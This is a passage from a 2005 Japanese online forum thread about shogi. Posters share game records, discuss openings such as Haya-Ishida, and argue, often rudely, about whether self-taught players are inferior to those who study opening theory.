821 :名無し名人:2005/09/13(火) 20:30:02 ID:F8EX2nSn
コピーどころか勉強家だな。
強くなるわな。

822 :名無し名人:2005/09/13(火) 21:42:00 ID:IUTArDPs
後手でも早石田ってさしていいんですか?

823 :名無し名人:2005/09/13(火) 21:50:06 ID:F8EX2nSn
いいよ。序盤の整備は大変だが、全部網羅すれば、いきなり不利ってことはないよ。

824 :名無し名人:2005/09/13(火) 21:51:24 ID:ZIpA5+44
先手 オレ様(700くらい)
後手 相手(1000くらい)

▲7六歩△5四歩▲2六歩△9四歩
まで 4手にて後手の勝ち

5七の地点狙っているのは見え見えなんだがこんな奴とは指したくないので

825 :名無し名人:2005/09/13(火) 21:51:39 ID:NGbA0Sce
角交換して6五角から馬作って歩得していけば後手早石田は恐くない
飛車より角のほうが使いやすい

826 :名無し名人:2005/09/13(火) 21:55:24 ID:F8EX2nSn
>>825
無知が相手だから馬作れただけ。

827 :名無し名人:2005/09/13(火) 21:56:07 ID:F8EX2nSn
>>824
とがめられないだけじゃんw

828 :名無し名人:2005/09/13(火) 21:58:24 ID:ZIpA5+44
>>827
本当のことを書くな

829 :名無し名人:2005/09/14(水) 02:34:33 ID:LYmU9iHk
>>824はあまりにも勝手だ。ゴキゲンとかなんとかの
新手だったかもしれないのに

830 :名無し名人:2005/09/14(水) 05:11:17 ID:oFQ8l8PH
>>826
は?お前バカだろw
定跡ってもんがあんだよw

831 :名無し名人:2005/09/14(水) 09:37:35 ID:LYmU9iHk
>>830いやそれも含めてやっぱり相手が無知だったからこそだよ。

832 :名無し名人:2005/09/14(水) 09:56:05 ID:oFQ8l8PH
>>831
アホだなぁお前は
もっと定跡勉強してこいw
お前の知ってる変化だけじゃないからよ( ´,_ゝ`)
無知はお前ww

833 :名無し名人:2005/09/14(水) 10:04:25 ID:kxD0AQH6
>>832
正確な手順を出せないところが
実力の無さを露呈してるな。


834 :名無し名人:2005/09/14(水) 12:34:55 ID:Qmj2dzgm
>>832
お前、自分が無知なことすらわかってないのな・・・・

835 :名無し名人:2005/09/14(水) 14:52:37 ID:PMJHTYB2
はじめて見ました
結論 1は すくいようのない
おばか

836 :名無し名人:2005/09/14(水) 15:12:24 ID:RshXKLhX
こういうの知ってるか?
▲96歩△34歩▲56歩△54歩▲58飛△62銀▲97角△94歩▲98香


837 :名無し名人:2005/09/14(水) 15:14:57 ID:L19bqXGC
>>836

>>756-757


838 :名無し名人:2005/09/14(水) 15:19:29 ID:0LQFmqTh
猿仕掛けだっけか

839 :名無し名人:2005/09/14(水) 17:18:08 ID:3AW0AcTa
棋戦:レーティング対局室
先手:相手
後手:俺
▲7六歩 △3四歩 ▲7五歩 △4二玉 ▲9六歩 △8四歩
▲7八飛 △8八角成 ▲同 銀 △4五角 ▲5八玉 △2七角成
▲5五角 △3三桂 ▲7四歩 △同 歩 ▲8二角成 △同 銀
▲7四飛 △7三歩 ▲3四飛 △4五角 ▲8四飛 △6七角成
▲同 玉 △4九馬 ▲5八角 △8三歩 ▲3四飛 △3九馬
▲2一飛 △3二金 ▲1一飛成 △4九銀 ▲2六香 △5八銀不成
▲同 金 △4五角
まで38手で後手の勝ち


840 :名無し名人:2005/09/14(水) 18:58:17 ID:DjS/rdyh
>>825が言ってるのは

▲7六歩 △3四歩 ▲2六歩 △3五歩 ▲5六歩 △3二飛
▲2二角成 △同 銀 ▲6五角

これのことでしょ、多分。
後手早石田は居飛車が拒否すれば成立しない。

841 :名無し名人:2005/09/14(水) 19:05:19 ID:Qmj2dzgm
△32飛のところ△42飛で馬作れないし。

842 :名無し名人:2005/09/14(水) 20:25:31 ID:oFQ8l8PH
>>841
それすでに早石田じゃねーしw
頭悪いのバレバレだなお前www
自分の言ったことに責任持てよ( ´,_ゝ`)

843 :名無し名人:2005/09/14(水) 20:28:11 ID:t6OuLBTE
>>842
ヒント:3・4・3戦法

844 :名無し名人:2005/09/14(水) 23:15:57 ID:K+q+So20
343が超マイナー戦法であることがわかる

845 :名無し名人:2005/09/14(水) 23:35:32 ID:mA3ItTso
やった記憶ないから聞きたいけど>>840の書いた順で▲6五角で先手有利なの?
例えば△5五角▲8八銀△3六歩▲同歩りとかが第一感で、、、
確かに、その後に飛角交換したら先手が飛の打ち込みケアして駒組するより角歩手持ちで馬作られた後手の駒組キツイ気がするんだけど、具体的に先手有利の結論有るのか気になるから教えてくらはいw

846 :名無し名人:2005/09/14(水) 23:42:54 ID:QtvFmEQL
定石しかしらない>>1が、自己流の格下相手に対応が分からず負けた腹いせに立てたスレはここですか?

847 :名無し名人:2005/09/14(水) 23:44:48 ID:K+q+So20
ヒント:▽55角▲同歩

ちなみに
▲7六歩 △3四歩 ▲2六歩 △3五歩 ▲6八玉 △3二飛 ▲2二角成
△同 銀 ▲6五角 △4二金 ▲8三角成 △5五角
は普通にある。ていうか石田流スレでやれよ

848 :名無し名人:2005/09/14(水) 23:45:39 ID:qqJXdnFa
>>845
△5五角は▲同歩 △投了m9(^Д^)プギャー となるぞ

849 :名無し名人:2005/09/14(水) 23:46:35 ID:MqyAqkqY
自己流にもいろいろあるよな。
ある程度玉を囲ってからの自己流とか、居玉で戦う自己流とか。
ここで言う自己流は後者か。

850 :名無し名人:2005/09/15(木) 08:15:18 ID:7nmNCgLq
>>846
おいおい>>1は、丸暗記だけで、受験地獄を乗り切って来た応用力の無い奴なんだから本当の事書いたらかわいそうだろ。

851 :名無し名人:2005/09/15(木) 08:28:01 ID:qfbdJnGX
自己流の人はがむしゃらに攻めてくる人が多い気がする

852 :名無し名人:2005/09/15(木) 22:43:05 ID:dFlJaeI+
842はなんでこんなにバカなの・・・?
島ノート120P「新早石田・343戦法」で勉強しろ。

853 :名無し名人:2005/09/15(木) 22:44:38 ID:dFlJaeI+
みんなに無知扱いされてよほど悔しかったのか・・・

854 :名無し名人:2005/09/15(木) 23:14:42 ID:ogxh+d+3
>>853
こういうときにはフォローの一言くらい加えてやるもんだ。反省しる!

855 :名無し名人:2005/09/16(金) 00:01:47 ID:CFbcuLDN
自演が香ばしい件

856 :名無し名人:2005/09/16(金) 00:37:28 ID:7iUeU9HK
自演はスルー汁

857 :名無し名人:2005/09/16(金) 00:45:17 ID:eMZAZYKK
まさか852と853を書いた俺のことを自演とか言ってる激バカはいないだろうし・・・
まあどっかにいたのかな?



858 :854:2005/09/16(金) 09:07:38 ID:ezNNaWa4
少なくともオレは遊ばれまくった>>842その他じゃないぞ
擁護するというよりも>>853に突っ込みを入れてみただけ
(それもちっともおもろない突っ込み)
ID検索してみろ。

859 :名無し名人:2005/09/16(金) 22:39:39 ID:llC2GEZx
>>851
そりゃあ、普通の人間は攻めるほうが受けるよりも気持ちいいし、
駒組なんて面倒なこと考えたくないし、
細かいアヤとか考慮しながら指すなんて思いもつかないだろ。
言い替えれば、自己流っていうのは本能にしたがって行動することしかできない人間というか、
知性の習得に失敗したサルが棍棒持って暴れてるようなものだ。

860 :名無し名人:2005/09/16(金) 22:41:08 ID:llC2GEZx
自己流は将棋をつまらなくする元凶、将棋のガン。

861 :名無し名人:2005/09/17(土) 00:48:27 ID:oJhgqWwK
自己流を完全排除の方向で行くなら将棋の寿命は100年は縮まるな

862 :名無し名人:2005/09/17(土) 00:55:41 ID:oSkVSkd5
つーか定跡を「わかったつもり」で指してるやつは皆自己流なんだけどね。
となると24に来てるやつらの8割は自己流じゃないの?

863 :名無し名人:2005/09/17(土) 02:51:30 ID:OJVsozxd
昨日の王座戦の佐藤の序盤超むかついたよな

864 :名無し名人:2005/09/17(土) 10:51:55 ID:AXvXw9hv
>>863
まったく、最近調子いいからって図に乗り過ぎなんだよな
オレらにも分かるようにたまには普通の将棋させやぼけ

みっくんがんがれ

865 :840:2005/09/17(土) 20:02:44 ID:XF87a94T
3・4・3戦法って早石田じゃないでしょ?

866 :名無し名人:2005/09/18(日) 00:14:53 ID:4OKVxDXf
そもそも「早」石田は▲7四歩(△3六歩)からの展開のことを言うと思われ
それで行くなら3・4・3戦法は早石田じゃないと言える。
ただし、角交換からの馬作りの展開も早石田とはいえない。

867 :名無し名人:2005/09/18(日) 00:53:24 ID:f1yexX/C
バカは何でもかんでも早石田ってことにしときたいんだよ
誰とは言わないが

868 :女性棋士 ◆Hp17aNs7O2 :2005/09/18(日) 09:58:53 ID:4Hw9tDJc
面倒だから矢倉27手から始めることとする
(これで楽しいか?)

869 :名無し名人:2005/09/18(日) 10:10:30 ID:TZAcQa4D
>>868
早石田やゴキよりは楽しいと思われ

870 :名無し名人:2005/09/18(日) 10:39:19 ID:zGj1dTbM
1ってどっか病んでるの。

遊びなんだから適当でいいのでは。
負けるのが悔しくなってきて勉強すればよし。



871 :名無し名人:2005/09/18(日) 14:09:17 ID:JfM/LHZz
不機嫌中は止めといたほうがいいぞ

872 :840:2005/09/19(月) 00:02:16 ID:jBJVt29B
>>866
>角交換からの馬作りの展開も早石田とはいえない。
俺が示したのは早石田を拒否する順だけどね。

ってしつこいな、俺。

873 :名無し名人:2005/09/19(月) 00:02:33 ID:beUleQTG
>>1は、一生ソフトと対局してろ!

874 :名無し名人:2005/09/19(月) 01:11:01 ID:4Z4bs/Pq
瀬川vsクボは早石田だよね

875 :名無し名人:2005/09/19(月) 07:48:47 ID:0zcevD9E
1はコメ印 偏執狂

876 :名無し名人:2005/09/19(月) 07:57:03 ID:E5izt4xC
自己流が認められるのは羽生だけですが何か?

877 :名無し名人:2005/09/20(火) 23:11:49 ID:5zkmGFVh
>>872
うん。まあ
どこからどこまでがこの戦法の定跡だーなんて話は枝葉末節の類なんだろうけど。
自分的には3筋の歩突き捨ててからが早石田で3筋位取り三間飛車までは石田流
本組みとか升田式の定跡に入るんじゃないかなーと思うわけなのだよ。

878 :名無し名人:2005/09/21(水) 00:13:00 ID:OJT8Dz4r
升石も早石田に分類する本が多いな。
三四三は多分島ノートだけだろうけど、早石田に分類してるね。
角交換から馬絡みの順も、まあ早石田の定跡としてしか紹介されてないでしょ。

879 :名無し名人:2005/09/28(水) 22:37:23 ID:/G3evOj2
いまや、早石田は、奇襲でもないんだよなあ

880 :名無し名人:2005/09/29(木) 10:55:57 ID:ce0pZ6sF
暗記勉強ができない自己流は、
英文法・英単語知らないから英語の偏差値低い。
公式・定理を知らないから数学・物理の偏差値低い。
根本的に覚えることが嫌いだから歴史や地理の偏差値も低い。

将棋が自己流で指せることだけが自慢の受験敗者。

881 :名無し名人:2005/09/29(木) 12:01:37 ID:SqEVBBQv
定期的に>>1が書き込んでるみたいね

882 :名無し名人:2005/09/30(金) 06:14:10 ID:GL+t7c1e
今までのガリ勉暗記の処世術が
万能ではないことにファビョってる
>>1がいるのは、このスレでつか?

883 :名無し名人:2005/09/30(金) 22:27:36 ID:CC2Cspxc
英語や数学の「暗記」は得意だったが歴史はさっぱり覚えられなかった俺が来ましたよ

884 :名無し名人:2005/09/30(金) 22:36:17 ID:+ma3FapV
暗記モノの勉強は全てからっきしだったな。そもそもやる気も無し。
将棋だけは嬉々として暗記してますが。

885 :名無し名人:2005/10/02(日) 11:11:43 ID:y4bZVPJ1
自己流に負けると死にたくなる・・・・。

886 :名無し名人:2005/10/02(日) 11:25:21 ID:oCGcoU5I
相手が定石通りにやってるのか、自己流でやってるのかわかるなんてすごいな。

887 :名無し名人:2005/10/02(日) 11:28:56 ID:DHdHQj/A
▲7六歩 △3四歩 ▲2六歩 △4四歩 ▲4八銀 △4二銀 ▲5六歩 △5二金右
▲5五歩 △6二銀 ▲5七銀 △3二金 ▲5六銀 △6四歩 ▲6八銀 △6三銀
▲2五歩 △3三銀 ▲5七銀 △4一玉 ▲6六歩 △3一角 ▲6八飛 △6二飛
▲6五歩 △同 歩 ▲同 銀 △6四歩 ▲5六銀引 △4二角 ▲5八金左 △3一玉
▲3六歩 △7四歩 ▲4八玉 △5四歩 ▲同 歩 △同 銀 ▲3八玉 △2二玉
▲4六銀 △4三金右 ▲5五銀直 △同 銀 ▲同 銀 △5四歩 ▲4六銀 △8四歩
▲9六歩 △9四歩 ▲9七角 △9五歩 ▲6三歩 △同 飛 ▲6五歩 △同 歩
▲4二角成 △同金引 ▲7二角 △6四飛 ▲8一角成 △6六歩 ▲8二馬 △6五飛
▲7七桂 △2五飛 ▲1六銀 △6七銀 ▲同 金 △同歩成 ▲同 飛 △5六金
▲6一飛成 △4七金 ▲同 玉 △2九飛成 ▲3九金打 △1九龍 ▲2八銀 △4五歩
▲同 銀 △3九龍 ▲同 金 △4三香 ▲4四歩 △同 香 ▲同 銀 △同 銀
▲8一飛 △4一歩 ▲4八香 △4五銀 ▲3七玉 △3三桂 ▲2六桂 △2五銀
▲同 銀 △同 桂 ▲3八玉 △5六角 ▲4七銀 △7八角成 ▲2九玉 △3七桂打
▲同 馬 △同桂成 ▲同 銀 △2七金 ▲2八金 △1八銀 ▲同 金 △3七金
▲3九銀 △2七銀 ▲2八歩 △1八銀不成▲同 玉 △4九金 ▲3八銀上 △4八金引
▲3七銀 △4七金 ▲2五桂 △3七金 ▲1四桂打 △同 歩 ▲同 桂 △同 香
▲1三銀 △3一玉 ▲2一金 △同 玉 ▲4一龍 △3一香
まで134手で後手の勝ち 先手超自己流!!w

888 :名無し名人:2005/10/04(火) 21:49:07 ID:7uZ+ZrYW
自己流がうらやましいなぁー。
何かを始めるときに学習しないのを自然なことだと思えるんだから。
感覚だけで生きるのって楽そうだね。
ストレスたまらないんだろうね。

俺って何をやるときも最初に学習する習慣があるから高学歴になっちゃって困ってるんだよ。

889 :名無し名人:2005/10/05(水) 10:09:32 ID:eZDDKo9h
あ〜。だから頭固いんだ?

890 :名無し名人:2005/10/05(水) 12:04:54 ID:TKgJKBx7
自己流で強いやつは定跡知り尽くした上で自己流にしてくる・・
デタラメナ序盤なのに強いやつは才能あるんじゃなくて中終盤の定跡(手筋)をたくさん勉強して知ってるだけ・・
序盤マニアなのに弱い俺は中終盤の定跡の学習を怠ってたことに最近きずいたよorz・・・

891 :名無し名人:2005/10/05(水) 14:04:13 ID:A5qdA0G8
あなたうまいこと言うね>中終盤の定跡

勝負に直結する「終盤の定跡」をさておいて
序盤の定跡から学び始めるのは
2階から目薬を点すようなものだからね

892 :名無し名人:2005/10/08(土) 16:11:48 ID:+Fspev24
なにを言おうとも、将棋が強かろうと弱かろうと、
自己流が書物を読めない低偏差値であるという事実は不変。

893 :名無し名人:2005/10/08(土) 16:13:11 ID:+Fspev24
というか、根本的に下品。
知識不要の、感覚だけでできる仕事でもやって暮らせと言いたい。

894 :名無し名人:2005/10/08(土) 16:16:14 ID:gI8BWKaB
手筋を知っている奴を自己流とは言わないぞ
自己流ってのは手筋も定跡も何も知らない本当の独自のやり方でやる奴のことだから
棋理を無視した奴こそ自己流の典型

895 :名無し名人:2005/10/08(土) 16:19:59 ID:qrUqg4VT
どう言い訳しようが低能低学歴には変わりない

896 :名無し名人:2005/10/08(土) 16:29:56 ID:gI8BWKaB
文盲がいるな

897 :名無し名人:2005/10/08(土) 17:05:18 ID:8br/cNUD
なんでこんなに必死なの?!
しかも妙に学歴にこだわってるのはチャネラの性なのか??

898 :名無し名人:2005/10/08(土) 22:39:32 ID:YximVRQv
>>1が繰り返し書き込んでるんでしょ

899 :名無し名人:2005/10/09(日) 05:03:36 ID:Lzs7diB5
将棋の全体のレベルが下がってしまう。

900 :名無し名人:2005/10/09(日) 07:24:28 ID:ELfPBo0q
と、人間全体のレベルを下げてるヤツが申しております。

901 :名無し名人:2005/10/09(日) 07:32:17 ID:RWCX6Kyz
新角頭歩戦法も自己流なの。見てて楽しんだけど

902 :名無し名人:2005/10/10(月) 02:10:36 ID:ZyedKpSn
つまんねーよ1 削除以来出しとけ

903 :名無し名人:2005/10/16(日) 16:05:38 ID:RnOxW3BF
何故自己流はいけないんだ?

904 :名無し名人:2005/10/16(日) 16:12:22 ID:vDC5+Qmf
アマチュアは自己流で強い方が偉い。

905 :名無し名人:2005/10/16(日) 16:15:01 ID:LqEv3R0w
居飛車の右金動かなさい形って伊意外と飛車角打ち込む場所少ないんだけど・・・
あと四間飛車に7八金がある形とか

うちのじいちゃんに何度この金が遊び駒だと教えても変えようとしないのは意外と駒の打ち込み場所
をカバーしてる、ちゃんと働いてる駒だからかもしれない だから釈然としないのかも

906 :名無し名人:2005/10/16(日) 16:15:35 ID:yU6PbeX2
新角頭歩は米長の自己流

907 :名無し名人:2005/10/16(日) 16:59:24 ID:yvpHcK7Y
>>905
分かってるのかもしれないが、
その金が働いてるか働いてないかは場合による。
ただ玉がうすくなるので力がいるわけで。

908 :名無し名人:2005/10/16(日) 17:19:42 ID:Ld6LNzHF
俺は78金振り飛車ばかりやってるよ。

909 :名無し名人:2005/10/16(日) 20:21:19 ID:4mPPpo0v
7八金型四間飛車ばかりやってたら無条件に飛車先突破されてすぐ作戦負けになるだろ
対棒銀でもないのに

910 :名無し名人:2005/10/16(日) 20:43:13 ID:Ld6LNzHF
状況がわからん。立石、升石で
そんな簡単に飛先突破される?

911 :名無し名人:2005/10/17(月) 01:59:49 ID:acZ29zLi
交換の間違いじゃね?

912 :名無し名人:2005/10/17(月) 15:48:26 ID:5FXrpWcA
将棋が強かろうと弱かろうと
ってのは違うんじゃないか
俺は最高三段程度だけどやっぱ勇断タブのほうが筋のいい将棋さすぞ
たまに級タブに落ちると汚らしい将棋のやつが多い

913 :名無し名人:2005/11/18(金) 00:53:09 ID:l7UBVHmQ
将棋が自己流であるからといって、あらゆることに関して勉強嫌いとは限らない。
しかし、勉強嫌いはほぼ確実に自己流。
だから、自己流を見たら勉強できない馬鹿と思えば十中八九当たってる。

914 :名無し名人:2005/11/18(金) 01:35:00 ID:mXW+QpAw
定跡本の解説が手抜きしてるのがガン。
定跡には、初手からの一手一手全てに意味があるはず。
ところが勝手に数手進めては思いついたような解説をちりばめるだけ。
全てを詳細に解説してくれなきゃ、初心者にはその手の重要性はわからない。
自己流に走る香具師がいて当然だろう。

915 :名無し名人:2005/11/18(金) 04:23:06 ID:mbZzuWMz
俺は逆に終盤がたいしたことないやつに
序盤の知識の差で作戦勝ちされるとむかつくよ。

916 :名無し名人:2005/11/18(金) 04:32:23 ID:mbZzuWMz
ちなみに俺は超高学歴だけど定跡は嫌い

917 :名無し名人:2005/11/18(金) 10:51:41 ID:3v6K3ETa
終盤力がある人間なら、序盤知識程度の差でついたリードをひっくり返せない、ということも
あるまい。
ひっくり返せないほどの差をつけられた、というなら、それは知識の差というよりも
棋力の差というほかない。

918 :名無し名人:2005/11/18(金) 13:11:56 ID:PeT2P12E
unko

919 :名無し名人:2005/11/18(金) 14:28:20 ID:PeT2P12E
unko

920 :名無し名人:2005/11/18(金) 20:31:45 ID:l7UBVHmQ
下品な将棋指す人なんて放っておけばよろしい。
何も学べず、常識をわきまえず、気品や美しさを重んじないような
階級の低い人を相手にするのは時間の無駄。
どうせ資産もなければ学もないのだから。
階級の低さが将棋のみならず、あらゆることに
にじみ出てる人を見かけたら近寄らないのが一番。

921 :女性棋士 ◆Hp17aNs7O2 :2005/11/18(金) 20:35:15 ID:+/orTn4b
>>920
自分に言い聞かせる>>920の姿が悲しく残るのであった

922 :名無し名人:2005/11/18(金) 21:03:02 ID:yqp4VAbc
   〃∩ ∧_∧
   ⊂⌒(  ・ω・)  はいはいわろすわろす
     `ヽ_っ⌒/⌒c
        ⌒ ⌒

923 :名無し名人:2005/11/18(金) 21:19:24 ID:htQPHZsK
受け強くない奴は下品な将棋をけなす資格はないよ?

924 :名無し名人:2005/11/19(土) 02:07:40 ID:Tq/vJq5d
自己流の方が生きてる価値あるよ。
定跡通りに差してるだけのやつなんておもしろくもなんともない。
したがって自己流は定跡派より上。負けても上。
分かるでしょ、この意味。
学歴がどうとか言ってるけど、本当の一流の学者とかになるには、
教科書どおりではどうにもならんのよ。
最終的に求められるのは自己流。
受験はマニュアルどおりかもしれんがな。

925 :名無し名人:2005/11/19(土) 02:21:00 ID:ypiycKXB
>>924
その自己流がもしかしたらプロで研究されて定跡化されるかも分からないしね


926 :名無し名人:2005/11/19(土) 02:22:12 ID:sfy/sLUO
unko

927 :名無し名人:2005/11/19(土) 08:42:07 ID:8mENSNBv
自分の創造力の無さを嘆くスレはここですか?

928 :名無し名人:2005/11/19(土) 11:48:26 ID:n8vmem69
強ければ正義

929 :女性棋士 ◆Hp17aNs7O2 :2005/11/19(土) 13:20:06 ID:XFPKaA5L
とりあえず勝てばいいのでは?
なんかここって
【週刊誌】の記事みて【有価証券】を買って損した
というような感じで『釣られ』が文句言ってるのが
重なって見えるんですけど

930 :名無し名人:2005/11/19(土) 13:29:02 ID:1w7g7Gek
>>929
そんなんじゃダメ。
将棋の勝敗は美学・哲学・礼節を伴った
意味のあるものでないと。
将棋は単なるコマ遊びではない。
盤を挟んで互いの「気」で戦う武道なのだ。

931 :名無し名人:2005/11/19(土) 22:38:52 ID:sfy/sLUO
unko

932 :名無し名人:2005/11/19(土) 22:46:43 ID:sfy/sLUO
unko---

933 :名無し名人:2005/11/27(日) 03:44:13 ID:f8cAwV6j
>>924
>学歴がどうとか言ってるけど、本当の一流の学者とかになるには、
>教科書どおりではどうにもならんのよ。

その独創的な研究をする一流の学者は受験勝者なのでは?
最初から全く教科書読まず、何でも自己流なんて人は研究者になれない。

934 :名無し名人:2005/11/27(日) 06:55:53 ID:FnG/ETDC
http://blog.livedoor.jp/last_impact7/

935 :名無し名人:2005/11/27(日) 17:36:45 ID:PnAubrXv
アインシュタインは学歴勝者ではないが。
エジソンも。

936 :名無し名人:2005/11/28(月) 11:39:48 ID:Tk6PqyUt
>>935
アインシュタインは学歴勝者ではないというが、低学歴でもない。

エジソンは偉大なる発明家だが、研究者ではない。
現在にエジソンが蘇ったら同じことができるだろうか?
科学が高度に発達し複雑化した現代においては、
ダイエット・スリッパレベルの発明なら素人にもできるが、
先端科学を応用した発明は無理だろう。
蓄音機や電球程度の発明でも絶賛された時代とは違う。

937 :名無し名人:2005/11/28(月) 21:09:27 ID:AjycB/+j
>>936
同意。エジソンは「独創的な創造者、成功者」だよね。

938 :ライゾンリー:2005/12/06(火) 21:54:18 ID:IiMWU2nC
超自己流の意味が分からない・・・
純粋に勝つのが目的だとしたら、相手が定石やらで指してくるのに、そこから何も学ばずにその超自己流ってのを延々と指してる時点で頭悪いとは思うが。
てか、その場合は読み浅すぎなんだと思う・・・
でもトレーニングとか、面白いことしたいと思ってるだけなら、どんな指し方しても自由なんじゃねえの?
うーん、棒玉に負けたら凹むかもな・・・ 謎
最後の勉強嫌いの低学歴ってのがなかったら、このスレ延びないんだろうなw
>>933
受験システムも最悪だし、大学教授(東大名誉教授やら)がアホすぎるのに権力ありすぎでいろいろ迷惑なわけで、実際の研究能力は計算能力と比例してないっつーか。
まあ、そんなかんじっすよ、実際は・・・ 勉強で自己は無理だけど、みんなが基本さえちゃんと理解してればhfkhじゃklと腹も立つ・・

要するにアマ4段が偉そうにヘボ将棋指すなら俺もムカついてやる 謎

939 :ライゾンリー:2005/12/06(火) 22:00:58 ID:IiMWU2nC
自己ってなんだ?流がうぇ
しかも東大名誉教授だしといて
アマ4段っつーのも、微妙にリアリティがあって俺ヨワスの実情が・・・


940 :名無し名人:2005/12/15(木) 21:38:24 ID:b69BC450
自己流の大多数は将棋の本だけでなく、あらゆる本を読めない。
それが現実。
偏差値低いくせに将棋指すな。

941 :名無し名人:2005/12/16(金) 04:54:48 ID:k/Dh0c2l
そいつと戦ってる時点で近いRってことで、
頭は同レベル。

942 :名無し名人:2005/12/25(日) 01:35:51 ID:/Mct38H2
つーか一手一手の意味分かってりゃ自己流のやつの手くらい簡単に咎めて
言い負かすならぬやり負かして自己流じゃダメだって認識させりゃいいだけじゃん

943 :名無し名人:2005/12/25(日) 15:26:18 ID:uULr3y4M
>>942
激しく同意
咎める事ができないなら文句言う筋合いないよな

944 :名無し名人:2005/12/26(月) 03:28:36 ID:+WrU2VVD
咎められないってことは自分も弱いってことなんだよね。

945 :名無し名人:2005/12/26(月) 17:57:44 ID:nl208Ek1
とがめてRあがっても
また強い自己流というかあんまり考えなてない手指すやろうがいるから困る。

946 :名無し名人:2005/12/26(月) 21:07:22 ID:HWMzoUvI
お前が考えてないのがわかってるからこそ
指してくる手なんじゃないの?

947 :名無し名人:2005/12/27(火) 05:23:35 ID:1MXkr3eT
本ばっかり読んで強くなろうとするからそういううがった見方になるんだよ。
将棋ってのはそのときそのときの読み合いだろ。
相手がどんな手をさそうと自由なんだよ。
相手がマニュアルどおりに指してくれれば自分は対策を本で読んで知ってるからって、
相手に自己流はやめろって都合よすぎだな。
というよりマニュアルどおりしか出来ないおまえは本当は今の実力以上に弱いぞ。
先人の研究に頼ってるだけの暗記マンなんだよ。
本当に強いやつは相手が自己流だろうとしっかり対応できるんだ。

948 :945:2005/12/27(火) 06:29:59 ID:shgCWCFe
そうじゃねぇんだよ。なんか理屈にあってないっていうかいかれた感覚の手をさしてくるんだよ。
まあ俺に才能がないということなんだけどなw
まあまじになるなよww

949 :名無し名人:2005/12/28(水) 11:02:19 ID:xRaTl7+Y
たしかに理論上ありえないような手を指してくるやつっていうのはいる。
どう考えても損な手、明らかな悪形・・・それでも無理矢理力で勝てることもありうる。
しかし、それを悪い手、悪い形と自覚しないで、
何も学習しないで指しつづけているのが信じがたい。

>>947
先人から学ぶのは大切だと思うが。
独自の境地に達したプロ棋士でも、そこに到達する過程では
嫌という程先人から学んでるだろ。
アマチュアにそこまで要求する必要はないだろうが、
まともな学校出て、まともな職業につこうと思えばその分野でそれに近い努力は要求されるわけで。
極端な自己流は、そういう努力を人生で全くやってこなかったというこを物語るような将棋だから馬鹿にされる。

950 :名無し名人:2005/12/28(水) 11:25:54 ID:ZqwK3Iqh
意味不明。
努力の形が他とは違うからこそ、異形の手になる。
それが通用するから当人も使う。それだけのこと。
もしそれがヘタな手なら、失敗するほうが多いだろうし、それなら当人も止める。
止めないのは、ヘタな手じゃないということだ。


951 :名無し名人:2005/12/28(水) 11:51:37 ID:xRaTl7+Y
>>950
どう見ても下手な手なんだよ。
まともにやればもっと強くなれるかも知れないのに、
学ぶということをしないから中途半端な強さで止まる。
しかし、世間的には強い部類に入るから、
本人も自分の将棋が正しいと思い込んで、その酷さに気がつかない。
そういう学習能力のなさや探求心のなさを愚かだと言ってるわけで。

952 :名無し名人:2005/12/28(水) 12:03:56 ID:xRaTl7+Y
そもそも、そういうやつは定跡の知識ゼロなわけだが、
偶然に序盤の数手が定跡通り進んだとしても、
その後平気で定跡で不利とされている手を指したりする。
まぁ、それでも相手が咎めそこなえば勝てるわけだし、
厳密には悪手でも、よほど実力がない限り咎め切れない手もある。
だが、理論上明らかに悪いことがわかっている手を、知識不足であるがゆえに指すやつを
どうやって尊敬しろというのだ?
一生何も学ばずに自己流でやってろよ、としか言いようがないだろ。

953 :名無し名人:2005/12/28(水) 12:19:26 ID:3phl7Zjj
そもそも将棋は暗記勝負じゃなくて創造力の勝負
定跡は覚えるものじゃなくて理解するもの
覚えるだけではサトルのような糞になってしまう

954 :名無し名人:2005/12/28(水) 12:20:48 ID:zz0HstNE
xRaTl7+Yが負け犬の遠吠えをしているスレはここですか?

コピー将棋だったらコンピューターでも出来るんだけど。
力将棋で勝てないからって八つ当たりするな。

955 :名無し名人:2005/12/28(水) 12:23:54 ID:ZFQeSF3M
コピー将棋でも力将棋でも糞きったねぇ俗手ばっか指す奴はむかつくな。
早指し専門に多いあれだよ。馬鹿っぽい。けど負けることもある…orz←才能無し
俺の言いたいのはそれくらいだな。

956 :名無し名人:2005/12/28(水) 12:24:55 ID:92VOujD4
自己流の人と当たると楽しいけどなあ…

957 :名無し名人:2005/12/28(水) 12:32:22 ID:tcqmdQKh
たかが遊びのネット将棋で相手の指し手にいらついても
馬鹿馬鹿しいだけだよ。

958 :名無し名人:2005/12/28(水) 12:39:40 ID:4ln8DOe3
実は自己流とみせかけて
灘流とかだったり・・・・

959 :名無し名人:2005/12/31(土) 00:03:19 ID:6hcp8hP9
私の棋風は自己流です^^v とぬかしておきながらそいつの棋譜検索してみると
早石田と原始棒銀とたまに筋違いONLYだったりするやついるよな
お前のそれは自己流でもなんでもない 手軽に自己流を騙るなと言いたいね

960 :名無し名人:2006/01/06(金) 16:14:13 ID:5d0fgB6L
960

961 :名無し名人:2006/01/06(金) 16:14:40 ID:h9XDNwXl
961

962 :名無し名人:2006/01/06(金) 16:15:07 ID:bRcbfkMU
962

963 :名無し名人:2006/01/06(金) 16:15:35 ID:lOhFdY5O
963

964 :名無し名人:2006/01/06(金) 16:16:48 ID:2rUi1mO6
964

965 :名無し名人:2006/01/06(金) 16:17:12 ID:HYPy2F0Y
965

966 :名無し名人:2006/01/06(金) 16:18:12 ID:36Gr2Th6
966

967 :名無し名人:2006/01/06(金) 17:55:55 ID:xpurT3/N
967

968 :名無し名人:2006/01/06(金) 17:56:23 ID:9Ls/0Oy+
968

969 :名無し名人:2006/01/06(金) 17:56:46 ID:CVnHbATU
969

970 :名無し名人:2006/01/06(金) 17:57:14 ID:lOtWGXEs
970

971 :名無し名人:2006/01/06(金) 17:57:41 ID:fb7V9u2J
971

972 :名無し名人:2006/01/06(金) 17:58:07 ID:DL69GBaY
972

973 :名無し名人:2006/01/06(金) 17:58:33 ID:nMYjclEB
973

974 :名無し名人:2006/01/06(金) 17:58:57 ID:JIyf9T/H
974

975 :名無し名人:2006/01/06(金) 17:59:23 ID:13I+MkCq
975

976 :名無し名人:2006/01/06(金) 17:59:51 ID:umcoaDs1
976

977 :名無し名人:2006/01/06(金) 18:00:22 ID:TgSuYQah
977

978 :名無し名人:2006/01/06(金) 18:00:44 ID:hh5/kTsx
978

979 :名無し名人:2006/01/06(金) 18:01:35 ID:CbQGEiGK
979

980 :名無し名人:2006/01/06(金) 18:02:30 ID:IXbTN/hz
980

